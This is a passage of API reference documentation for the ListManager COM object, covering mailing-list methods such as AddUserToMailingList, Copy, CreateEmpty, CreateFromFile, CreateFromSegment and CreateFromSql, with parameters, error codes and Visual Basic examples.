CreateFromSql | Creates a list from an SQL query.
Delete | Deletes a list.
ExportToFile | Exports a list to a file.
ExportToSql | Exports a list to a database table.
ExtractMailingList | Creates a new mailing list from a generic list that contains an rcp_email column.
GetListFlags | Retrieves the Flags bitmask for a list.
GetListId | Retrieves the list ID.
GetListName | Retrieves the list name.
GetListProperty | Retrieves a list property.
GetLists | Enumerates all known lists at the time of the call.
GetListUserFlags | Retrieves the UserFlags bitmask for a list.
GetOperationInfo | Retrieves information on a list operation.
GetOperations | Enumerates all operations running at the time of the call.
Initialize | Initializes the ListManager object.
RemoveUserFromMailingList | Removes a user from a mailing list.
Rename | Renames a list.
SetDesc | Assigns a description to a list.
SetListProperty | Sets a list property.
Subtract | Subtracts one list from another list, and stores the results in a third list.
Union | Produces a union of two lists (combines the lists and eliminates duplicates), and stores the results in a third list.
WaitOnOperation | Waits for an operation to complete or a timeout to occur, then returns.


IListManager::AddUserToMailingList Method [C++]

ListManager.AddUserToMailingList Method [Visual Basic]

Use this method to add a user record to a mailing list.

Definition

[C++]
HRESULT IListManager::AddUserToMailingList(
  VARIANT listID,
  VARIANT UserEmail,
  VARIANT UserGUID,
  VARIANT UserFmt,
  VARIANT UserLocale,
  VARIANT UserUrl
);
[Visual Basic]
Sub AddUserToMailingList(
  listID As Variant,
  UserEmail As Variant,
  Optional UserGUID As Variant,
  Optional UserFmt As Variant,
  Optional UserLocale As Variant,
  Optional UserUrl As Variant
)

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list.
listID [Visual Basic]
A Variant that contains ID or name of the list.
UserEmail [C++]
[in] A VARIANT that contains the e-mail address of the user.
UserEmail [Visual Basic]
A Variant that contains the e-mail address of the user.
UserGUID [C++]
[in, optional] A VARIANT that contains the ID of the user (usually a GUID).
UserGUID [Visual Basic]
A Variant that contains the ID of the user (usually a GUID).
UserFmt [C++]
[in, optional] A VARIANT that contains the message format flag. See the Remarks section for more information.
UserFmt [Visual Basic]
An optional Variant that contains the message format flag. See the Remarks section for more information.
UserLocale [C++]
[in, optional] A VARIANT that contains the locale identifier (lcid) of the preferred character set for the user.
UserLocale [Visual Basic]
An optional Variant that contains the locale identifier (lcid) of the preferred character set for the user.
UserUrl [C++]
[in, optional] A VARIANT that contains a URL used for retrieving personalized content for the user.
UserUrl [Visual Basic]
An optional Variant that contains a URL used for retrieving personalized content for the user.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_MAILABLE_LIST_NO_EMAILS | [C++] 0x8C40000D [Visual Basic] &H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
E_LM_MUST_BE_STATIC | [C++] 0x8C400019 [Visual Basic] &H8C400019 | The operation requires a static list and the specified list is dynamic.
E_LM_NOT_MAILING_LIST | [C++] 0x8C400018 [Visual Basic] &H8C400018 | The operation requires a Mailing list and the specified list is not a mailing list.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
E_LM_USER_LIST_NO_GUIDS | [C++] 0x8C40000E [Visual Basic] &H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The UserFmt parameter specifies the format of a message used by the Direct Mailer. The possible values are: text (1), MIME (2), and MHTML (3).

To specify that one or more of the fields should be inserted as NULL, pass VT_NULL, VT_EMPTY, or VT_ERROR as the optional parameter(s).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.AddUserToMailingList "{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "JaneUser@somewhere.com", "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 2, 1033, VT_NULL

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::CancelOperation Method [C++]

ListManager.CancelOperation Method [Visual Basic]

Use this method to cancel the specified ListManager operation.

Definition

[C++]
HRESULT IListManager::CancelOperation(
 VARIANT varOpID
);
[Visual Basic]
Sub CancelOperation(
 varOpID As Variant
)

Parameters

varOpID [C++]
[in] A VARIANT that specifies the Operation ID of the operation to be cancelled.
varOpID [Visual Basic]
A Variant that specifies the Operation ID of the operation to be cancelled.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors, and the standard COM errors with special meanings, that this method can return.

Constant | Value | Description
E_LM_OPERATION_NOT_FOUND | [C++] 0x8C400004 [Visual Basic] &H8C400004 | The operation ID does not represent a currently running operation.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Operation ID passed to this method in the varOpID parameter can be obtained from any of the following calls when they are executed asynchronously:

[C++]
  • Copy
  • CreateFromDWCalc
  • CreateFromFile
  • CreateFromSql
  • ExportToFile
  • ExportToSql
  • Subtract
  • Union
[Visual Basic]
  • Copy
  • CreateFromDWCalc
  • CreateFromFile
  • CreateFromSql
  • ExportToFile
  • ExportToSql
  • Subtract
  • Union

[C++] In addition, the Operation IDs of all currently active operations can be retrieved using the GetOperations method.

[Visual Basic] In addition, the Operation IDs of all known operations can be retrieved using the GetOperations method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::Copy Method [C++]

ListManager.Copy Method [Visual Basic]

Use this method to copy an existing list over another existing list.

Definition

[C++]
HRESULT IListManager::Copy(
 VARIANT srcList,
 VARIANT resList,
 BOOL bAsync,
 VARIANT* pvarOpID
);
[Visual Basic]
Sub Copy(
 srcList As Variant,
 resList As Variant,
 bAsync As Boolean,
 Optional pvarOpID As Variant
)

Parameters

srcList [C++]
[in] A VARIANT that contains the ID or name of the source list.
srcList [Visual Basic]
A Variant that contains the ID or name of the source list.
resList [C++]
[in] A VARIANT that contains the ID or name of the result list.
resList [Visual Basic]
A Variant that contains the ID or name of the result list.
bAsync [C++]
[in] A BOOL that specifies whether the copy operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the copy operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_COPY_LIST_OVER_SELF | [C++] 0x8C40001C [Visual Basic] &H8C40001C | Cannot copy a list over itself.
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The result list must exist prior to calling the method; however, any data in the list will be overwritten.

The flags attribute of the destination list is replaced with the flags attribute of the source list. The UserFlags attribute is not changed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pvarOdID is a Variant
oListManager.Copy "{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", True, pvarOpID

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::CreateEmpty Method [C++]

ListManager.CreateEmpty Method [Visual Basic]

Use this method to create an empty list for subsequent operations.

Definition

[C++]
HRESULT IListManager::CreateEmpty(
 BSTR listName,
 BSTR listDesc,
 long flags,
 long userFlags,
 VARIANT* pvarID
);
[Visual Basic]
Function CreateEmpty(
 listName As String,
 listDesc As String,
 flags As Long,
 userFlags As Long
) As Variant

Parameters

listName [C++]
[in] A BSTR that provides the name for the new list.
listName [Visual Basic]
A String that provides the name for the new list.
listDesc [C++]
[in] A BSTR that provides a description for the new list.
listDesc [Visual Basic]
A String that provides a description for the new list.
flags [C++]
[in] A long that specifies the bitmask flags that control the type of list created.
flags [Visual Basic]
A Long that specifies the bitmask flags that control the type of list created.
userFlags [C++]
[in] A long that contains application specific user flags. Not used by the ListManager object.
userFlags [Visual Basic]
A Long that contains application specific user flags. Not used by the ListManager object.
pvarID [C++]
[out, retval] A pointer to a VARIANT used to return the ID of the new list.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the ID of the new list.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_INVALID_FLAGS | [C++] 0x8C400005 [Visual Basic] &H8C400005 | Invalid flags value.
E_LM_LIST_ALREADY_EXISTS | [C++] 0x8C400007 [Visual Basic] &H8C400007 | The specified list has already been created.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is useful for creating an empty list for use as the result list of a copy, subtract, or union operation.

For a list of possible values for the flags parameter, see the GetListFlags method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vListID is a Variant
vListID = oListManager.CreateEmpty("TequillaBuyers1", _
 "Tequilla buyers in January", 20, 0)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object

[C++] IListManager::GetListFlags

[Visual Basic] ListManager.GetListFlags


IListManager::CreateFromDWCalc Method [C++]

ListManager.CreateFromDWCalc Method [Visual Basic]

Use this method to create a list from an Analysis report.

Definition

[C++]
HRESULT IListManager::CreateFromDWCalc(
 BSTR listName,
 BSTR listDesc,
 long lFlags,
 long userFlags,
 BSTR DWConnStr,
 BSTR OLAPConnStr,
 BSTR ReportStatusId,
 BOOL bAsync,
 VARIANT* pvarOpID,
 VARIANT* pvarID
);
[Visual Basic]
Function CreateFromDWCalc(
 listName As String,
 listDesc As String,
 lFlags As Long,
 userFlags As Long,
 DWConnStr As String,
 OLAPConnStr As String,
 ReportStatusId As String,
 bAsync As Boolean,
 Optional pvarOpID As Variant
) As Variant

Parameters

listName [C++]
[in] A BSTR that provides the name for the new list.
listName [Visual Basic]
A String that provides the name for the new list.
listDesc [C++]
[in] A BSTR that provides a description for the new list.
listDesc [Visual Basic]
A String that provides a description for the new list.
lFlags [C++]
[in] A long that specifies the bitmask flags that control the type of list created.
lFlags [Visual Basic]
A Long that specifies the bitmask flags that control the type of list created.
userFlags [C++]
[in] A long that contains application specific user flags. Not used by the ListManager object.
userFlags [Visual Basic]
A Long that contains application specific user flags. Not used by the ListManager object.
DWConnStr [C++]
[in] A BSTR that contains the connection string for the Data Warehouse.
DWConnStr [Visual Basic]
A String that contains the connection string for the Data Warehouse.
OLAPConnStr [C++]
[in] A BSTR that contains the OLAP connection string.
OLAPConnStr [Visual Basic]
A String that contains the OLAP connection string.
ReportStatusId [C++]
[in] A BSTR that contains the ReportStatusID of the report to be imported.
ReportStatusId [Visual Basic]
A String that contains the ReportStatusID of the report to be imported.
bAsync [C++]
[in] A BOOL that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID.
pvarID [C++]
[out, retval] A pointer to a VARIANT used to return the ID of the new list.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the ID of the new list.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_CONNECTIONFAILED | [C++] 0x8C400001 [Visual Basic] &H8C400001 | Failed to establish database connection.
E_LM_CREATE_OBJECT | [C++] 0x8C400017 [Visual Basic] &H8C400017 | Unable to create the object.
E_LM_INVALID_FLAGS | [C++] 0x8C400005 [Visual Basic] &H8C400005 | Invalid flags value.
E_LM_LIST_ALREADY_EXISTS | [C++] 0x8C400007 [Visual Basic] &H8C400007 | The specified list has already been created.
E_LM_MAILABLE_LIST_NO_EMAILS | [C++] 0x8C40000D [Visual Basic] &H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_REPORTRENDERERFAILED | [C++] 0x8C40001A [Visual Basic] &H8C40001A | The report rendering object failed during Analysis report export to ListManager. See the Application event log message logged by that object describing the problem.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
E_LM_USER_LIST_NO_GUIDS | [C++] 0x8C40000E [Visual Basic] &H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method calls into the ReportRender object, passing it the DWConnStr, OLAPConnStr, and the ReportStatusId parameters along with a connection string to the database used by the ListManager object, and the table name that it should create.

For a list of possible values for the lflags parameter, see the GetListFlags method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vListID is a Variant
vListID = oListManager.CreateFromDWCalc("TequillaBuyers1", _
 "Tequilla buyers in January", 20, 0, "URL=mscop:" & _
 "//InProcConnect/Server=myserver:Database=dbname:" & _
 "Catalog=DWSchema: Trusted_Connection=Yes:FastLoad=True", _
 "2B54480041694C4987131B794078B4C9", False)

See Also

[C++] ListManager Object

[C++] IListManager::GetListFlags

[C++] ReportRenderer Object

[Visual Basic] ListManager Object

[Visual Basic] ListManager.GetListFlags

[Visual Basic] ReportRenderer Object


IListManager::CreateFromFile Method [C++]

ListManager.CreateFromFile Method [Visual Basic]

Use this method to create a list from a text file.

Definition

[C++]
HRESULT IListManager::CreateFromFile(
 BSTR listName,
 BSTR listDesc,
 long lFlags,
 long userFlags,
 BSTR fileName,
 long errLimit,
 BOOL bAsync,
 VARIANT* pvarOpID,
 VARIANT* pvarID
);
[Visual Basic]
Function CreateFromFile(
 listName As String,
 listDesc As String,
 lFlags As Long,
 userFlags As Long,
 fileName As String,
 errLimit As Long,
 bAsync As Boolean,
 Optional pvarOpID As Variant
) As Variant

Parameters

listName [C++]
[in] A BSTR that provides the name for the new list.
listName [Visual Basic]
A String that provides the name for the new list.
listDesc [C++]
[in] A BSTR that provides a description for the new list.
listDesc [Visual Basic]
A String that provides a description for the new list.
lFlags [C++]
[in] A long that specifies the bitmask flags that control the type of list created.
lFlags [Visual Basic]
A Long that specifies the bitmask flags that control the type of list created.
userFlags [C++]
[in] A long that contains application specific user flags. Not used by the ListManager object.
userFlags [Visual Basic]
A Long that contains application specific user flags. Not used by the ListManager object.
fileName [C++]
[in] A BSTR that contains the name of the file from which to create the new list.
fileName [Visual Basic]
A String that contains the name of the file from which to create the new list.
errLimit [C++]
[in] A long that specifies the maximum number of errors allowed before the operation is terminated. To specify no limit, set the errLimit parameter to zero (0).
errLimit [Visual Basic]
A Long that specifies the maximum number of errors allowed before the operation is terminated. To specify no limit, set the errLimit parameter to zero (0).
bAsync [C++]
[in] A BOOL that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID.
pvarID [C++]
[out, retval] A pointer to a VARIANT used to return the ID of the new list.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the ID of the new list.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors, and the standard COM errors with special meanings, that this method can return.

Constant | Value | Description
E_LM_BAD_FILE_PATH | [C++] 0x8C40000A [Visual Basic] &H8C40000A | The specified file path is not valid.
E_LM_FILE_ACCESS_DENIED | [C++] 0x8C400009 [Visual Basic] &H8C400009 | The ListManager service does not have permission to open the specified file.Check the permissions for the ListManager service account against the permissions for the file.
E_LM_FILE_NOT_FOUND | [C++] 0x8C400015 [Visual Basic] &H8C400015 | The specified file does not exist.
E_LM_FILESHARE_NOT_FOUND | [C++] 0x8C400016 [Visual Basic] &H8C400016 | The network share does not exist and a full path was not specified for the file.
E_LM_INVALID_FLAGS | [C++] 0x8C400005 [Visual Basic] &H8C400005 | Invalid flags value.
E_LM_LIST_ALREADY_EXISTS | [C++] 0x8C400007 [Visual Basic] &H8C400007 | The specified list has already been created.
E_LM_LISTPARSE_NO_GOOD_ROWS | [C++] 0x8C40001B [Visual Basic] &H8C40001B | All rows in the file contained parse errors. List import failed.
E_LM_NO_GENERIC_FROM_FILE | [C++] 0x8C400014 [Visual Basic] &H8C400014 | Generic lists may not be imported from files.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If a list with the same name as the listName parameter already exists, the method fails. Lists imported from text files may not be generic lists; they are always mailing lists.

The user account that the List Manager is configured to run under must have permission to access the file. For example, if the file is on a network share, the service must be running under a domain account or must otherwise have permission to access the share.

If an absolute file path and name is not specified, List Manager will look for the file relative to a root folder named CommerceLists on the local computer running the List Manager service. If the folder does not exist, an error is returned.

List Manager recognizes the following input text file format:

   <Mail-to address>,<User ID>,<Message Format>,<Locale>,
   <Source URL><cr><lf>

Mail-to address is the only required field. The Message Format field should be one of the following: 1 = text, 2 = mime, or 3 = mhtml. The Message Format, Locale, and Source fields are provided for use with Direct Mailer.

Any of the fields may be enclosed in double quotation marks. This is required if the value in the field contains any comma or double quotation mark characters. Two double quotation marks together within a quoted field can be used to denote a double quotation mark. A trailing comma will produce an error.

For a list of possible values for the lflags parameter, see the GetListFlags method.

Rows with duplicate e-mail addresses in the file are ignored.

The parameter, pvarOpID, contains valid data only if the creation operation is performed asynchronously.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vListID is a Variant
vListID = oListManager.CreateFromFile("TequillaBuyers1", _
 "Tequilla buyers in January", 20, 0, "Tequilla.csv", 10, False)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object

[C++] IListManager::GetListFlags

[Visual Basic] ListManager.GetListFlags


IListManager::CreateFromSegment Method [C++]

ListManager.CreateFromSegment Method [Visual Basic]

Use this method to create a list from a Predictor resource segment.

Definition

[C++]
HRESULT IListManager::CreateFromSegment(
  BSTR listName,
  BSTR listDesc,
  long lFlags,
  long userFlags,
  BSTR modelName,
  BSTR segmentName,
  BSTR predHostName,
  BSTR DWConnStr,
  double fpMinProbability,
  BOOL bAsync,
  VARIANT* pvarOpID,
  VARIANT* pvarID
);
[Visual Basic]
Function CreateFromSegment(
  listName As String,
  listDesc As String,
  lFlags As Long,
  userFlags As Long,
  modelName As String,
  segmentName As String,
  predHostName As String,
  DWConnStr As String,
  fpMinProbability As Double,
  bAsync As Boolean,
  Optional pvarOpID As Variant
) As Variant

Parameters

listName [C++]
[in] A BSTR that provides the name for the list.
listName [Visual Basic]
A String that contains provides the name for the list.
listDesc [C++]
[in] A BSTR that contains the list description.
listDesc [Visual Basic]
A String that contains the list description.
lFlags [C++]
[in] A long that specifies the bitmask flags that control the type of list created.
lFlags [Visual Basic]
A Long that specifies the bitmask flags that control the type of list created.
userFlags [C++]
[in] A long that contains application specific user flags. Not used by the ListManager object.
userFlags [Visual Basic]
A Long that contains application specific user flags. Not used by the ListManager object.
modelName [C++]
[in] A BSTR that contains the name of the Predictor segment model to use.
modelName [Visual Basic]
A String that contains the name of the Predictor segment model to use.
segmentName [C++]
[in] A BSTR that contains the name of the segment to import.
segmentName [Visual Basic]
A String that contains the name of the segment to import.
predHostName [C++]
[in] A BSTR that contains the name of the Predictor host server.
predHostName [Visual Basic]
A String that contains the name of the Predictor host server.
DWConnStr [C++]
[in] A BSTR that contains the Data Warehouse connection string.
DWConnStr [Visual Basic]
A String that contains the Data Warehouse connection string.
fpMinProbability [C++]
[in] A double that contains the minimum probability associated with a given segment member for that member to be included in the list.
fpMinProbability [Visual Basic]
A Double that contains the minimum probability associated with a given segment member for that member to be included in the list.
bAsync [C++]
[in] A BOOL that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID.
pvarID [C++]
[out, retval] A pointer to a VARIANT used to return the new list ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant used to return the new list ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_CONNECTIONFAILED | [C++] 0x8C400001 [Visual Basic] &H8C400001 | Failed to establish database connection.
E_LM_CREATE_OBJECT | [C++] 0x8C400017 [Visual Basic] &H8C400017 | Unable to create the object.
E_LM_INVALID_FLAGS | [C++] 0x8C400005 [Visual Basic] &H8C400005 | Invalid flags value.
E_LM_LIST_ALREADY_EXISTS | [C++] 0x8C400007 [Visual Basic] &H8C400007 | The specified list has already been created.
E_LM_MAILABLE_LIST_NO_EMAILS | [C++] 0x8C40000D [Visual Basic] &H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
E_LM_USER_LIST_NO_GUIDS | [C++] 0x8C40000E [Visual Basic] &H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method calls into the PredictorServiceSiteAdmin object, passing it the modelName, segmentName, and fpMinProbability parameters along with a connection string to the database used by the ListManager object, and the table name that it should create.

For a list of possible values for the lflags parameter, see the GetListFlags method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vListID is a Variant
vListID = oListManager.CreateFromSegment("TequillaBuyers", _
 "Thirty year old tequilla buyers ", 20, 0, "Tequilla", "Thirty", _
 "TequillaServer", "Provider=SQLOLEDB;Data Source=servername;" & _
 "Initial Catalog=Retail_dw;Integrated Security='SSPI';", False)

See Also

[C++] ListManager Object

[C++] IListManager::GetListFlags

[C++] IPredictorServiceSiteAdmin::GenerateSegmentList

[Visual Basic] ListManager Object

[Visual Basic] ListManager.GetListFlags

[Visual Basic] PredictorServiceSiteAdmin.GenerateSegmentList


IListManager::CreateFromSql Method [C++]

ListManager.CreateFromSql Method [Visual Basic]

Use this method to create a list from a SQL query.

Definition

[C++]
HRESULT IListManager::CreateFromSql(
 BSTR listName,
 BSTR listDesc,
 long lFlags,
 long userFlags,
 BSTR connStr,
 BSTR queryStr,
 long errLimit,
 BOOL bAsync,
 VARIANT* pvarOpID,
 VARIANT* pvarID
);
[Visual Basic]
Function CreateFromSql(
 listName As String,
 listDesc As String,
 lFlags As Long,
 userFlags As Long,
 connStr As String,
 queryStr As String,
 errLimit As Long,
 bAsync As Boolean,
 pvarOpID As Variant
) As Variant

Parameters

listName [C++]
[in] A BSTR that provides the name for the list.
listName [Visual Basic]
A String that provides the name for the list.
listDesc [C++]
[in] A BSTR that provides a description for the list.
listDesc [Visual Basic]
A String that provides a description for the list.
lFlags [C++]
[in] A long that specifies the bitmask flags that control the type of list created.
lFlags [Visual Basic]
A Long that specifies the bitmask flags that control the type of list created.
userFlags [C++]
[in] A long that contains application specific user flags. Not used by the ListManager object.
userFlags [Visual Basic]
A Long that contains application specific user flags. Not used by the ListManager object.
connStr [C++]
[in] A BSTR that contains the connection string for the SQL Server database.
connStr [Visual Basic]
A String that contains the connection string for the SQL Server database.
queryStr [C++]
[in] A BSTR that contains the SQL query for retrieving the contents of the new list.
queryStr [Visual Basic]
A String that contains the SQL query for retrieving the contents of the new list.
errLimit [C++]
[in] A long that is not used.
errLimit [Visual Basic]
A Long that is not used.
bAsync [C++]
[in] A BOOL that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID.
pvarID [C++]
[out, retval] A pointer to a VARIANT used to return the ID of the new list.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

